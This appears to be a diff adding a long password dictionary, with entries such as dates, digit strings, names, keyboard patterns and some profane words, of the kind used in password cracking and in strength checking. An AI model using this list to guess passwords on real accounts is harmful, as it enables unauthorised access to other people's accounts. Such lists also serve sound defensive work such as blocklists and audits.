+110160
+11012001
+1045
+102973
+102769
+102481
+10242048
+102400
+102273
+102030a
+102001
+101881
+101699
+101378
+10128
+101263
+101258
+101254
+10121v
+101166
+10111999
+10111969
+10111964
+10111958
+10111955
+101063
+101050
+10102008
+10102002
+10101969
+10101958
+100968
+100962
+10091957
+100864
+100862
+10081957
+100797
+100792
+100766
+10072001
+10071964
+100699
+100676
+100597
+10051971
+10051958
+100494
+100473
+10041966
+100373
+100359
+10031999
+10028
+100271
+100266
+100258
+10021968
+10021965
+10021961
+10021958
+10021952
+100173
+100167
+100166
+10012001
+10011998
+10011961
+100007
+0L8KCHeK
+09apr15
+098poi
+0974
+0926
+0922
+0914
+091291
+091267
+09121996
+09121959
+091194
+091192
+091172
+091163
+091095
+091093
+091078
+091063
+09101997
+09101961
+090975
+09092009
+09091963
+090882
+090873
+090863
+09082002
+09081998
+09081965
+09081964
+09081961
+09081957
+090783
+090779
+090773
+090762
+09071965
+09071960
+090697
+090693
+090672
+090671
+09062000
+09061965
+090591
+090572
+090571
+09051962
+09051957
+09051956
+090498
+090460
+09041968
+090373
+090365
+09031999
+09031966
+090271
+09021969
+09021967
+09021961
+09021959
+090194
+090178
+090173
+09011962
+09011958
+090100
+0895
+0884
+0873
+086421
+0827
+081500
+081268
+08121998
+08121997
+08121966
+08121962
+08121960
+081197
+081183
+081162
+08111966
+08111961
+081093
+081071
+081069
+081060
+08101968
+08101963
+08101960
+08101957
+080998
+080980
+080976
+080975
+080974
+080973
+08091959
+08091957
+080907
+080899
+080897
+08081999
+080793
+080771
+080762
+08072000
+08071961
+080677
+080672
+080669
+08061999
+08061964
+08061961
+080592
+080587
+080573
+08051963
+08051959
+080496
+080495
+080492
+080487
+080470
+080467
+08041957
+080397
+080396
+08031999
+08031998
+08031961
+08031955
+08031952
+08022000
+08021998
+080196
+080191
+08011956
+0785
+0783
+0778
+0725
+071269
+07122000
+07121969
+071090
+071075
+071072
+071065
+07101967
+07101966
+07101960
+070993
+070968
+07091998
+07091958
+070894
+070877
+070870
+07081955
+070807
+070768
+070767
+07071964
+07071963
+07071961
+07071957
+070699
+07061966
+070595
+07052001
+070475
+07041964
+07041959
+070394
+070377
+070373
+07031970
+07031961
+07031958
+070292
+070281
+070279
+070276
+070274
+070196
+070195
+07011968
+07011958
+07011953
+0699
+0692
+0687
+0684
+0683
+061980
+061281
+061272
+06122000
+06121997
+06121968
+06112001
+06111962
+06111959
+061061
+06101997
+06101962
+06101957
+06091963
+060901
+060895
+060878
+060870
+060868
+06081999
+06081960
+06081958
+06081955
+060794
+060777
+060771
+060763
+06072001
+06072000
+06071969
+060708
+060699
+06068
+060674
+060672
+060663
+060591
+060575
+060573
+060572
+060569
+06051959
+060461
+060455
+06041999
+06041997
+06041955
+060375
+06032000
+06031999
+06031962
+06031957
+060282
+060270
+06021963
+06021961
+060181
+060177
+060172
+06011968
+06011966
+06011965
+0601
+05870587
+0586
+0583
+05530553
+052385
+051966
+051273
+051263
+05122001
+05121997
+05121961
+051194
+05111962
+05102001
+05101999
+05101998
+05091998
+05091964
+05091961
+05091957
+050897
+050868
+050863
+050854
+05081958
+05072000
+05071961
+050700
+050673
+050664
+05062006
+05061969
+05061965
+05061961
+050576
+050560
+05051965
+05051961
+050501
+050475
+05041967
+05031959
+05022001
+05021963
+050177
+05011962
+05011958
+0484
+0482
+0442
+0430
+041275
+041267
+04118
+041177
+04112002
+04111965
+04111961
+041099
+041074
+04101968
+040991
+040971
+04091967
+040873
+04082006
+040697
+040674
+040670
+04062006
+04062001
+040595
+040592
+040567
+04052001
+04051962
+040469
+04042006
+04042004
+0404198
+04041963
+04041952
+04040404
+040386
+040372
+040367
+04031954
+040293
+040292
+04022010
+04021956
+04021954
+040194
+040178
+040177
+040170
+04011998
+04011969
+04011959
+0389
+0386
+0333
+031995
+031264
+03121997
+03121970
+03121963
+03121962
+03120312
+031189
+031173
+031171
+031166
+03111959
+031098
+031096
+031000
+030997
+030973
+030972
+030969
+03091965
+030898
+030895
+030871
+03082002
+03081967
+03081961
+03071969
+030699
+030696
+03061998
+03061963
+03061962
+030573
+030567
+03051998
+03051969
+03051967
+030496
+030495
+030477
+030476
+030471
+03042009
+03041964
+030398
+030372
+030370
+030369
+030359
+03031955
+03022007
+03021999
+03021966
+03021965
+030192
+030174
+03011964
+0268
+02588520
+02580258
+021268
+021266
+021259
+02121958
+021171
+02112001
+02111998
+02111997
+02111963
+02111962
+021100
+021097
+020993
+020963
+02091999
+02091961
+020895
+020889
+020871
+02082000
+02081963
+02081958
+020793
+020772
+02062000
+02061964
+02061962
+02061960
+020570
+020561
+02051968
+02051961
+020468
+020465
+02042008
+02042000
+02041957
+02040204
+020378
+020372
+020370
+02031963
+02021962
+020169
+020158
+02011957
+02011950
+020103
+01870187
+0181
+0157
+0151
+01470258
+0123698745
+011268
+011185
+011178
+011173
+011171
+01111999
+01111957
+011095
+011077
+01102011
+01101955
+010996
+010995
+010976
+010969
+01091961
+010897
+010873
+010871
+01081999
+010795
+010772
+010767
+010766
+01072006
+01071964
+010675
+010667
+010661
+01062011
+01061964
+01061954
+010607
+010597
+010566
+01052009
+01052005
+01052001
+01051999
+01051956
+01051952
+010496
+010472
+01041950
+010356
+01031961
+01031956
+01022005
+01021957
+01021954
+010203a
+010102
+00948230
+008008
+00770077
+0057
+0053
+0032
+0020
+0019
+0016
+00110011
+001007
+000000000000
+zzzzzzzzz
+zzzz1
+zxcvqwer
+zxcvbzxcvb
+zxcvbnmmnbvcxz
+Zxcv1234
+zse45rdx
+zrt600
+zozo
+zosozoso
+zorro2
+zoro
+zork
+zoopark
+zombi
+zippie
+zip123
+ziomek
+zimina
+ziegler
+zheng2568
+zexts364325
+zerohour
+ZEPPELIN
+zcGihLKe
+zcfvfzrhfcbdfz
+zasxcdfv
+zargon
+zaqxsw123
+zamzam
+zakaria
+zagnut
+zaczac
+zackzack
+zackery
+Zachary1
+zabava
+z1z1z1z1
+Z123z123
+z12345z
+yusuke
+yuppie
+yukari
+ytpyfrjvrf
+ytgjvy.
+youssef
+yourmomma
+youpi
+youbitch
+yodaman
+yocack
+yoass
+yllek
+yk2602
+yfhrjvfy
+yesyesyes
+yessongs
+yesplease
+yes123
+yepyep
+yellow7
+year2001
+yavin4
+yatyas
+yasser
+yasemin
+yaroslavl
+yancey
+yanayana
+yamazaki
+yamaha01
+yama
+yakudza
+yabloko
+xxPa33bq.aDNA
+xtutdfhf
+xtkjdtrgfer
+xtcxtc
+xpcrew
+ximena
+xerox1
+xehrf2011
+xcxc
+Xc473tp
+xbox
+wwwxxx
+www777
+www222
+wutangclan
+wTSFjMi7
+wtpmjg
+wtiger
+wsx22wsx22
+WSBadmin
+wrong1
+writer1
+wren
+wrangle
+worr3619
+wormy
+workman
+working1
+workers
+wordpas
+wootwoot
+woodrose
+woodroof
+woodpeck
+woodman1
+woodgoat
+woodchuc
+woodbine
+wolford
+wolf99
+wolf13
+wofford
+wizard2
+witter
+wirenut
+winter2
+winter13
+winner2
+winkler
+wingtsun
+wingtip
+wings19
+windows7
+willson
+willis1
+willie23
+william4
+will22
+wildsex
+wildfir
+wildchild
+Wildcat
+wilbur1
+wikus16
+wifey1
+widmer
+widespread
+widescreen
+wick
+wichser
+whoppers
+whoareyo
+whitlock
+whenever
+WHATEVER
+wfa4150
+wewizcom
+wewewewe
+wetpuss
+weterok
+westpac
+westies
+west12
+wertyui
+werty12345
+wert123
+Werner
+werewol
+werd
+wer234
+wer138
+Welkom01
+welcome3
+weed123
+wedges
+wedge1
+webpass
+web2age
+web123
+weazel
+weare1
+weakness
+wbemoc
+wayne0
+waycool
+Waterloo
+Water1
+washingto
+wasdqe
+warwick1
+Warriors
+warrior3
+warren1
+warpig
+warhead
+war123
+WaPBBS
+want
+wannasee
+wanda1
+walter2
+Walter1
+Wallace
+wales1
+walentina
+wakacje
+waimea
+wahoo1
+w1w2w3w4w5
+W1408776w
+vytautas
+Vv127pr
+vulkan
+vtvtvt
+vtr1000
+vtec
+Vs310ct
+voyager6
+Voyager1
+voxstrange
+vova1995
+vova1994
+voron
+voodoo69
+voodoo22
+VOODOO
+vomit
+volodia
+volkswagon
+volk
+volfan
+voldemor
+volare
+vladlen
+vladimirovna
+vlad2011
+vlad12
+vjqfyutk
+vivi
+vitebsk
+visionar
+visavisa
+virtus
+virtuoso
+viper23
+violin1
+vinson
+vinegar
+vindiesel
+VINCENT
+villian
+vika1999
+viggen37
+vieira
+vidaloka
+vidaloca
+victory7
+victor123
+vicenza
+vibe
+vgirls
+vfyzif
+vfvfxrf
+vfvfcdtnf
+vfnhtirf
+vett
+vestal
+VERONICA
+vergil
+verdes
+verbena
+ventana
+vent
+venise
+vengeance
+vehvfycr
+vegetabl
+vegavega
+vegasman
+vEf6g55frZ
+vecnfyu
+vcxz
+vbybcnthcndj
+vbrbvfec
+vbkzdrf
+vazelin
+vasser
+vasilev
+Vanessa1
+vandelay
+valiant1
+valet
+valeria1
+valera123
+valer
+vagrant
+vaduz
+vadim1996
+uXMdZi4o
+utyyflmtdyf
+utythfk
+usual
+ustinov
+usmc1
+userexecute
+usbhub
+usagi
+urracco
+urlmon
+urine
+upyachka
+updrop
+upchuck
+unleashed
+unix
+universo
+united99
+united123
+unit
+uniqueness
+unions
+unicum
+undne
+understand
+under1
+uncut
+uncled
+uncle1
+ummagumma
+umisushi
+umbra
+ultimatum
+ulrika
+Ukraine
+ukcats
+ujyobr
+ujhjl312
+uhoh
+uhjpysq
+ufdhbkjdf
+ueptkm
+udinese
+uchimata
+tyra
+twister1
+Twisted
+twinsen
+twinpeaks
+TWEETY
+twain1
+tuttut
+tutti
+tutor
+turntable
+turnpike
+turning
+Turkey
+turist
+turbo6
+tural
+tunin
+tungdom6
+tunes
+tune
+tulley
+tujhsx
+tucker2
+Tucker1
+tucan
+tube
+ttt123
+tsunami1
+tspeter1
+truong
+trunks1
+Truck1
+troutbum
+tropics
+Tristan1
+trish1
+trio
+trinity2
+trimner
+trick1
+tribeca
+triathlon
+triade
+trevon
+trektrek
+trekstar
+tree1
+travail
+trans1
+tran
+tractor1
+tracksta
+tracking
+trace1
+towanda
+tounge
+tothetop
+tothemax
+tosh
+tortor
+toroto
+Tornado
+Topgun
+topazz
+topanga
+toottoot
+tootsie1
+toomany
+toolband
+tony99
+tony25
+tonto1
+tonnie
+tonitoni
+tomto
+tommyg
+tommyboy1
+tommy999
+tomcruis
+Tomcat1
+TOMCAT
+tombrady
+tomasa
+tolkie
+tofuck
+tofu
+tobias1
+tobbie
+tl1000
+tittit
+titikaka
+tiraspol
+tioga
+tinotino
+TINKER
+tindoor
+TINA
+Timothy
+timid
+timezone
+Time1
+tima123
+tilleie
+tikitiki
+tika
+tigre1
+tigger22
+tigertiger
+tigers7
+tiger86
+tiger5
+tiger10
+ticktick
+tibia
+tiagans97
+thx138
+throng
+threeday
+thomasj
+thomas99
+thissite
+this4now
+thetaz
+thesmith
+theshow
+therocks
+Therock1
+therams
+theonly1
+theon
+Theodore
+theman2
+themack
+thekin
+thekey
+thehouse
+thegreek
+thegod
+thecult
+theboss1
+theborg
+thebends
+thebean
+theand
+thea
+thatguy
+thanh
+thailan
+thai
+tgacb
+textex
+text
+texasboy
+texas22
+texan1
+testo12
+test12345
+terranova
+terra1
+TERESA
+Teresa
+terayon
+tenors
+tennis2
+tendulkar
+telecom1
+telaviv
+teenies
+tee0s
+technician
+technical
+teamomuch
+Tdutybq
+tdutirf
+TdfqUgL5
+tboner
+taylors
+taylormade
+taylor10
+taurus1
+tatum
+tattoo1
+TATIANA
+tassen
+tarza
+tarrant
+tarot
+tarmac
+tarantula
+taran
+taptap
+tapis
+tapeworm
+tanzen
+tanlines
+tanks
+tani
+tangled
+tamu
+tamper
+tamiya
+tame
+tamarack
+talus
+talontsi
+tallon
+talbert
+taktak
+tahoes
+tagman
+tabryant
+taarna
+t1234567
+System1
+syndrome
+SyncMaster
+synchro
+sylviahans
+Sylvia
+sykes
+SYDNEY
+sxsxsx
+Swordfis
+swivel
+switcher
+swimmin
+swift1
+sweetpus
+sweetboy
+swanlake
+SWALLOW
+swain
+sveto4ka
+sveta1
+sverre
+svensk
+svenja
+suzan
+sutherland
+susubaby
+sussie
+suspects
+sushis
+suprise
+supersuper
+superman12
+supermac
+superg
+superdut
+superdave
+superbir
+superbik
+super69
+super21
+supa
+sunset1
+Sunset
+sunoco
+sunn
+sunglasses
+Sunday
+Sundance
+suman
+sulaiman
+sugardad
+suckmydic
+suckmine
+suckme69
+subskin
+submission
+subaru1
+suave1
+stutt
+stupid11
+stup1d
+stucker
+struck
+stroud
+strom
+strohs
+stride
+street1
+str|ct9
+stratus1
+stratp
+stratford
+strasse
+strahd
+storme
+stormbri
+storm2
+storm12
+stoney1
+stoneros
+Stone
+stogie
+stoffel
+stockholm
+stlucia
+stinson
+stinker1
+stills
+Stewart
+stevey
+steven12
+steve3
+stefanescu
+steeple
+statue
+statistika
+static1
+state1
+stasstas
+stasha
+stas1992
+starwars3
+starwars123
+Start123
+starshin
+starosta
+stargirl
+starfleet
+starcraft2
+starbug1
+star33
+star23
+stanlee
+stanisla
+stalion
+stainles
+Stacey1
+St123st
+SSSSSS
+ssss1
+ssnake
+sS6z2sw6lU
+sregit
+srbija
+squeegee
+squawk
+squares
+spyros
+spunker
+spumoni
+sprint99
+spring77
+spring01
+spring00
+sporto
+sport123
+spongy
+splice
+splendor
+SPLASH
+spitzer
+spitfire1
+spiller
+spike69
+spidey1
+spesional
+sperling
+spencer5
+speedy12
+speedste
+specia
+spastic
+spartan11
+Sparta
+sparkplu
+spares
+spanners
+spanky69
+Spain1
+southwest
+southman
+southie
+southamp
+soulja
+soulfood
+soslite
+sosa66
+sorbet
+sophie3
+sooty1
+sonja1
+soltero
+solovei
+solo44
+solly
+solitario
+soldie
+sokolik
+sohail
+soggy
+sofie
+sofa
+sockeye
+soccerba
+soares
+snyper
+snuggles1
+snowden
+snow11
+snooty
+snoopy123
+snoopy01
+snipper
+snipers
+snark
+snapple1
+snappers
+SNAPON
+snakepit
+snake69
+snake12
+smyrna
+smoothe
+smoopy
+smokie1
+smoki
+smoken
+smoke123
+Smoke
+Smitty
+smit
+smilie
+Smiley
+SmartNav
+smarter
+small1
+slysly
+slutz
+slut1
+slushslush
+slurpy
+slothrop
+sloogy
+SLICK
+slaine
+sladkaya
+slackers
+skunk2
+skoals
+skiers
+skidog
+skidder
+skeeter2
+skater12
+skarlett
+skapunk
+sizzlin
+sixstrin
+sixsixsix
+sitter
+siren1
+SINGLE
+sinaloa
+Simpson1
+simonova
+simonov
+simonn
+SIMON
+simferopol
+simbadog
+simbad
+silver21
+sillyman
+silkie
+Silkeborg
+silentium
+silentbo
+signed
+sickfuck
+shuhrat
+showit
+shout
+shouby
+shoshana
+Shorty
+shoeless
+shivam
+shirow
+shirle
+shippo
+shipper
+shelbygt
+SHEILA
+sheffwed
+sheehan
+shawns
+shashank
+sharpy
+sharpie1
+sharpei
+sharon12
+sharlene
+shara
+shanker
+shaney
+shanee
+shane2
+shamu
+shakeel
+shakazul
+shaka1
+shaila
+shafty
+shadow19
+shadoe
+shad
+sh1thead
+sgEGuKBM
+seyila
+sexystud
+Sexyred1
+sexypass
+sexymf
+sexy23
+sexy2
+sexx69
+SEXUAL
+sexo69
+sewing
+sewers
+severian
+seve
+SetupENU2
+settings
+sesso
+serova
+sergun
+Sergi
+SERGEY
+serena1
+serda
+serafin
+September
+sept
+sensible
+senhas
+semtex
+sempre
+seltzer
+sellit
+selling
+seledka
+select1
+selanne
+seen
+secret69
+secret00
+secbasic
+Sebastia
+sebas
+seaview
+seaquest
+seadoo96
+sdswgh
+sdsdsdsd
+sdicmt7seytn
+scuba2
+scrubber
+Scripts
+scouting
+scoutdog
+Scotty1
+scottsda
+scotter
+scott7
+scott3
+SCOTLAND
+scooby69
+scofield
+schumann
+schroede
+schoen
+schnitze
+schmid
+scarred
+scapegl
+scamper1
+scamp1
+scammell
+scale
+scaffold
+sazonov
+sawblade
+sawasawa
+sawa212
+savoy
+saverio
+savanah
+saufen
+sauces
+satyr
+saturn2
+sasuke123
+sasuke12
+saspurs
+sasha7
+sasha14
+sasch
+sas123
+sarolta
+sardegna
+sarcasm
+sapphir
+sapito
+sapato
+santorini
+santaros
+santana1
+santan
+santamaria
+sanskrit
+sandy3
+sandusky
+sandrita
+sandra123
+sandra12
+sandies
+sandi1
+sandhill
+sanderson
+Sanchez
+samuel123
+Sampson1
+sampdoria
+sammy13
+Sammy
+samboy
+sam999
+salvia
+saloon
+salon
+salmon1
+salma1
+salli
+salida
+salah
+Saints
+sahtm131
+sahtm093
+sahtm082
+sahtm053
+sahtm038
+sahil
+sagitarius
+sagapo
+safesex
+sae1856
+sadiemae
+saddles
+sacoremsg
+sabra
+sabado
+saavedra
+s211278
+s1erra
+s11111
+ryebread
+ruthruth
+rutger
+rustang
+Russian6
+russells
+ruslan123
+rusher
+rush11
+runo
+ruiz
+rugby9
+rubikon
+rubberduck
+ru4692
+rtyu4567
+RT3460014
+rovert
+rover123
+routine
+rouse
+rossy
+rossman
+rossini
+rosie123
+rosella
+rosebud7
+roseann
+roscoe12
+rosco2008
+rosalyn
+rosalita
+rosado
+root138
+rooster2
+Rooster
+roone
+room101
+rono
+ronaldin
+romper
+romochka
+romanson
+ROLLTIDE
+rojo
+rogets
+rogelio
+RODNEY
+rodionov
+rockytop
+rocky7
+rocky12
+rocklee
+rockhill
+rocket7
+rocker1
+rockandroll
+rock22
+Rock
+rochester
+rocha2
+robvandam
+Roberts1
+roberts1
+robert8
+robert4
+robert23
+robert123
+robert00
+robert0
+robe
+robbieh
+robben
+roadrace
+rmpop
+rmanis
+rjpkjljq
+rjkmwj
+rjdfktdf
+riverman
+ritz
+Ripple
+ripper1
+ripken08
+ripe
+riogrand
+rino
+ringding
+rincess
+rinaldo
+right4
+Rider1
+rideau
+RICORICO
+rick123
+richardl
+richard9
+ricbch4
+ribeiro
+ribalka
+rhonda1
+Rhonda
+rhfcyjzhcr
+rhbdtnrf
+rhbcnb
+rfvtym
+rfvbkm
+rfvbgt
+rfnz11
+rfnthbyjxrf
+rfkbybyuhfl
+rfkbajhybz
+rfinfy
+rfcgthcrbq
+reza
+reyrey
+rexton
+rewq1234
+rewards
+reviewme
+revert
+retriver
+retreat
+retep1
+restart1
+rest
+resets
+rerhsybrcs
+reports
+remont
+remix
+reiner
+Reggie
+refused
+reel
+REDUSER
+redredred
+redred1
+redoctob
+Redman
+redlover
+redlabel
+redflag
+redfish1
+redcap
+redbrick
+red5thx
+recneps
+rebbecca
+reallove
+reality5
+realest
+readread
+reading1
+reactor
+rdq5Ww4x
+rc.itymrf
+rc.irf
+rbceyz
+razorblade
+rayne
+ravenna
+ravenlof
+raven666
+raven2
+raven13
+Raven
+raulito
+rauchen
+ratiug
+rational
+ratbert
+rastlin
+rassilon
+rasha
+raser
+rasca
+rasberry
+raritan
+raptor22
+ranier
+rangerover
+ranger82
+ranger7
+randyb
+randell
+ramtough
+rammramm
+ramcharg
+ramarama
+rainking
+raines
+Rainer
+raiders9
+raiders7
+raider12
+ragweed
+ragger
+rafting
+raffle
+raffaello
+rafal
+rafa
+radford
+raddad
+radars
+rackham
+Racing
+rachel7
+rachel12
+rabit
+rabbit13
+r1mini
+r0ckstar
+qwerty9
+Qwerty11
+Qwert1
+qwerewq
+qweqwe1
+qweasdzxc12
+QWEASD
+Qwe1234567
+qwe123321
+quit
+quiche
+querty
+querida
+quasimod
+quartz1
+quartet
+Qq123321
+qetuop
+qazxsw22
+qazwsxedcrf
+qazwsx123456
+qazwer
+qaz321
+!QAZ1qaz
+qaz123wsx456
+q80661658441
+q7w8e9
+q3dm17
+q2w3e4r5t6
+q26606
+pyfrjvcndj
+PvHpX6
+putana
+PUSSYCAT
+pussy6
+pussy420
+puspus
+purple99
+purple77
+puregold
+punk77
+pumps
+pumpkin9
+Pumpkin1
+pujols
+puente
+pudder
+psycho72
+prussia
+proverb
+prova
+protec
+prostar
+prorok
+propel
+promotio
+progres
+progamer
+priya
+prior
+Printer
+princip
+princess2
+prince55
+primos
+prevost
+preview
+preved
+pres
+premio
+prasanna
+pppooo
+pp04a
+powmia
+POWER9
+poul
+potolok
+potent
+Poseidon
+Portugal
+portnoy
+porque
+porntube
+pornog
+Porno1
+pornboy
+PORN
+poptart1
+poppos
+poppe
+poplop
+popa
+poopdick
+poop69
+poooop
+pooo
+pooner
+pookie11
+pooh123
+ponomarenko
+pompeyfc
+polsk
+polpetta
+pollys
+pollop
+pollie
+polla
+polka1
+politeh
+polanco
+pokus
+pokie
+Pokemon1
+pokeman
+poiqwe
+pointbreak
+pogosyan
+poepie
+poep123
+podvinsev
+podunk
+podstava
+podruga
+plot
+plokplok
+plokiju
+pljhjdmt
+plaza
+play69
+play2win
+play123
+platter
+plato2
+platipus
+pjsheridan
+pizza2
+pivo
+pitmans4
+pitman
+pitcher1
+pissonme
+pisshead
+piping
+pioli
+pinocchio
+pinned
+pinkyy
+pinkrose
+pinker
+pink1
+pinheiro
+pingeye2
+pinger
+pina
+pimpsta
+pimpman
+pimpit
+pimpdogg
+pikey13
+pigskin
+pigeons
+piffle
+Pierre
+pierino
+piddle
+pickwick
+pickl
+pichon
+Piccolo
+Picard1
+pibzk431
+phooey
+phoenix9
+phoenix5
+phoebe1
+Phillips
+PHILLIP
+phildec
+pheobe
+phelan
+pfqwtdf
+pflhjncndj
+pfchfyrf
+peugeot2
+petrushka
+petrie
+petrenko
+peterbui
+peter11
+Pete
+petals
+PERVERT
+persona1
+persephone
+perrys
+perron
+pernilla
+pernell
+perkin
+percent
+pepsi12
+pepper23
+people12
+penwindo
+penumbra
+Penny1
+Penis
+pencils
+pelosa
+peikko
+peggys
+peggie
+pegase
+pederast
+pedant
+Pebbles
+peanut2
+peaches3
+PEACHES
+peace2
+pcs2174
+pcmcia
+payless
+Pavilion
+paulista
+paule
+paul04
+patton1
+Patriots
+patricks
+patrick6
+patito
+Patches1
+pasword1
+passwurd
+password33
+password!
+passman
+PASSION
+pass23
+pass2012
+pashtet
+partridge
+partner1
+parson
+parsnip
+parry
+parisi
+paris75
+parfois
+paramon
+paradize
+paradice
+papo
+paperman
+papasmur
+paparazzi
+papa1
+Panthers
+panthera
+panther8
+pantera6
+pantat
+palomo
+palladio
+pall
+palito
+paige2
+paid
+paddler
+pacotaco
+p0tat0
+ozzyman
+overseas
+outrider
+outrage
+outlet
+ou81234
+others
+otaku
+otabek
+ostsee
+ossi
+osman
+oskari
+osirus
+oscarcat
+oscar99
+Oscar
+osasuna
+orxan
+orochimaru
+orochi
+orion3
+oren
+orange9
+opusopus
+optiques
+operations
+open321
+opaque
+onslow
+only4u
+Online1
+oneil
+omytvc15
+omySUt
+omglol
+omen666
+omen
+omega666
+oliwia
+olin
+olga12
+oleksandr
+oleg1967
+oleg12345
+oleaut32
+olds
+oldlady
+oldgold
+oldcrow
+okk34125
+okayokay
+offside
+off
+odranoel
+odieodie
+oddity
+oclock
+obscene
+oberst
+obafgkm
+oakman
+oakdale
+nzceg251
+nyvott
+nyranger
+NYMETS
+nyisles
+nx2000
+nutt
+nurjan
+nunu
+nuggett
+nuggets1
+nthvbyfk
+nthk12345
+NT5IIS
+nsnabh76
+Ns910cv
+nozomi
+noway123
+nova99
+notlim
+notch
+not4me
+not4long
+nostradamus
+nosliw
+noskcaj
+nosbig
+norwich1
+norwest
+northwoo
+norsemen
+noonehackme
+nonnahs
+nolimit1
+nokianokia
+nokia5700
+nokia1600
+nokia1100
+noeli
+nodnol
+nmnmnm
+nji90okm
+njhnbr
+nizmo400r
+nixons
+nissan35
+Nissan1
+nintendods
+ninjitsu
+ninja2
+niniko
+ninety9
+nikoniko
+nikki69
+nikita2010
+nikita1996
+nikiforova
+nigora
+nighty
+nightwis
+nightfall
+Nielsen
+nicolle
+nicnac
+nicko
+nick2000
+Nick
+nicholas9
+nichelle
+nicebutt
+niceboy
+niagra
+nhjabvjdf
+nhbybnhjnjkejk
+nhbujyjvtnhbz
+nfgbpltwq
+newlook
+neverhood
+nevergiveup
+netx500
+networth
+netnovel
+nesterenko
+Neptune
+nelson11
+nekochan
+neggy
+nefertit
+needhelp
+nedlog
+necronomicon
+neckk
+neckbone
+nebesa
+Ncc1701
+nbnjdf
+navillus
+navigation
+navarr
+naughty2
+native1
+nathans
+nathanae
+nathali
+natawa
+natasha7
+natalja
+natalee
+nata2010
+nastya1996
+NASTY
+nassar
+nasnas
+nascar18
+naruto2010
+#NAME?
+nagging
+nafisa
+nadira
+n1k1ta
+n1a2t3a4
+myway
+mythology
+mymgis41
+mykonos
+myeyes
+mydear
+mycomput
+mybike
+Mv943Fc
+mutt22pu
+mute
+mustapha
+musicbox
+musical1
+music69
+music5
+music11
+murphy11
+murcielag
+muncie
+mumu
+mumford
+muie
+muhamma
+muffmuff
+Muffin1
+muddog
+mudddd
+mudd
+mucus
+mucsaj
+mtr1996
+mtgl5r
+mtdew
+mt73sb
+msjet40
+Ms911sc
+mrkmrk
+mrfish
+moxie7
+mousemouse
+mountie
+mountaindew
+Mountai1
+mounds
+moumoune
+motylek
+motu6697
+morphy
+morph
+moron1
+morgans
+morena1
+moran
+morales1
+mopmop
+moorea
+Moore
+moontime
+moonchild
+moonchil
+moonbar
+moon5leg
+monty2
+montreux
+montie
+montella
+montana2
+monrovia
+monreal
+mononoke
+monkman
+monkey8
+monkey55
+monit
+monica01
+mong1ni
+money3
+money10
+monette
+moneta
+monde
+monalis
+molder
+mojojo
+moisture
+mohsen
+mohinder
+mohamme
+mogwai1976
+moejoe
+model1
+modder
+Mmmmmmm1
+mkjhfg
+mjones
+mj2323
+miyagi
+miwako
+mitino
+MITCHELL
+mitch123
+mistycat
+mishaoooyeah
+miser
+misamore
+mirrors
+mirror1
+mirko
+mirand
+miquel
+minniemouse
+minnie2
+minkey
+minigolf
+mine4
+mimino
+millioner
+miller01
+millen
+milking
+milker
+milano1
+Milano
+mikey5
+mike20
+microlab1
+mickey13
+Michele1
+michelangelo
+michaelk
+michael69
+miami99
+miami13
+metree
+metfan
+metalist
+metalic
+metalhea
+metalgod
+metalcore
+message4
+mervyn
+merlin10
+merde1
+Mercede1
+mensos
+memnon
+membe
+meloni
+melissas
+Melinda
+meli
+meijer
+megmeg
+megazone
+megan7
+mefisto
+meerkat
+meepmeep
+medicman
+mech6666
+meaty
+measures
+meaning
+meanie
+meade
+mdmsii64
+mdmolic
+mdmnttd2
+Mdmnis1u
+mdmmoto
+mdmgl010
+mdmgen
+mcse
+mcqueen
+mcnair
+mcfly
+mccloud
+mccallum
+mcafee
+mc6288
+mazdamx3
+mazda123
+maywood
+mays24
+mayflower
+may12
+maxxie
+maxxam
+maxwell7
+maxmaxma
+MAXINE
+maximi
+max528
+max2010
+max1234
+mavs
+mavipies
+mausmaus
+matthew10
+matt69
+matt25
+Matt
+matrix9
+mata
+masterg
+master88
+master6
+master4
+master0
+mass234
+masoud
+mashinka
+masha2011
+mascara
+masayuki
+masaru
+masana
+masala
+mas123
+maryse
+martymar
+martmart
+martinet
+martin19
+martin06
+martell
+marsbars
+marrero
+marquett
+marmo3
+marlins1
+marley11
+MARLEY
+marku
+markis
+markin
+markham
+markel
+mark77
+mark44
+mark23
+mark2
+Mark1
+maritt
+Marissa
+mario6
+MARIO
+Marino
+marines2
+MARINES
+marinas
+marina15
+marijane
+mariette
+Marianne
+mariamaria
+mariah1
+Maria
+marhaba
+Margaret
+marengo
+marcuseckos
+Marcus1
+marcs1997
+marcia1
+march3
+march22
+march20
+marameo
+manure
+mansoor
+mansel
+manolis
+manning18
+mankato
+mangoo
+mango123
+mange
+mando
+mand
+manara
+mammas
+mamata
+mamaeva
+mama2011
+mama1960
+mama1956
+malmsteen
+malmstee
+mallrat
+malkavian
+malin
+malib
+malaki
+malachy
+maksimuss
+maksat
+maks1995
+makayla1
+makassar
+makaroni
+maiden666
+maia
+mahmoud
+magnus1
+magnumpi
+Magnum
+magnific
+magius
+magical1
+magic69
+Magic
+maggie123
+maffia
+madzia1
+MADMAX
+MADMAN
+madhatter
+madd
+madame
+madalin
+mad123
+macdad
+mabuhay
+ma1lc0
+m249saw
+m123456789
+m0ntlure
+lytdybrbdfvgbhf
+lyons
+lynnette
+lxgiwyl
+lvd9341
+luvluv
+luv4ever
+luton1
+luton
+lutheran
+luster
+luscombe
+lurcher
+lupit
+lupin
+lunge
+lung
+lunatik
+lumper
+lukester
+luis2
+luckyday
+lucky22
+lucky10
+LUCKY1
+luckee
+lucid
+lucia1
+lucerne
+lubasha
+LTM9z8XA
+ls6454
+lplplp
+lovesazz
+LOVELOVE
+lovejone
+lovedoc
+loved1
+lovecraft
+lovebu
+lovebaby
+love007
+lousy
+LOULOU
+louisvil
+louise12
+louann
+lothian
+loshadka
+lose
+lorilori
+lordof
+loquit
+lope
+longneck
+longjump
+longing
+longhaul
+longboat
+londres
+london01
+lombok
+lolomg
+lolita1
+lola123
+LOL5
+lol
+lokator
+loh123
+logroll
+logologo
+logo
+logmein
+logistics
+loginov
+login1
+loggins
+locote
+Location
+loafer
+loadtoad
+lllll1
+llanelli
+lklk
+ljcnjtdcrbq
+lizzy123
+lizzie1
+lizzi
+LIZARD
+liz8tysiu
+litvin
+littlehole
+lissette
+lisalove
+Lisa1
+lirika
+lionss
+lionhart
+lion12
+linton
+lindse
+lindsay2
+lincoln2
+limpkorn
+limonade
+limon
+limeligh
+lilo
+lilmac
+lillypad
+liken
+LIGHT
+lickpussy
+lickpuss
+lickitup
+libra1
+liberty9
+liberty7
+liberdade
+lfybkjd
+lfieyz
+leyden
+lexalexa
+lewka111
+levy
+leveller
+letme
+lesya
+lesta
+lessons
+lesley1
+leonida
+lena22
+lemont
+leiter
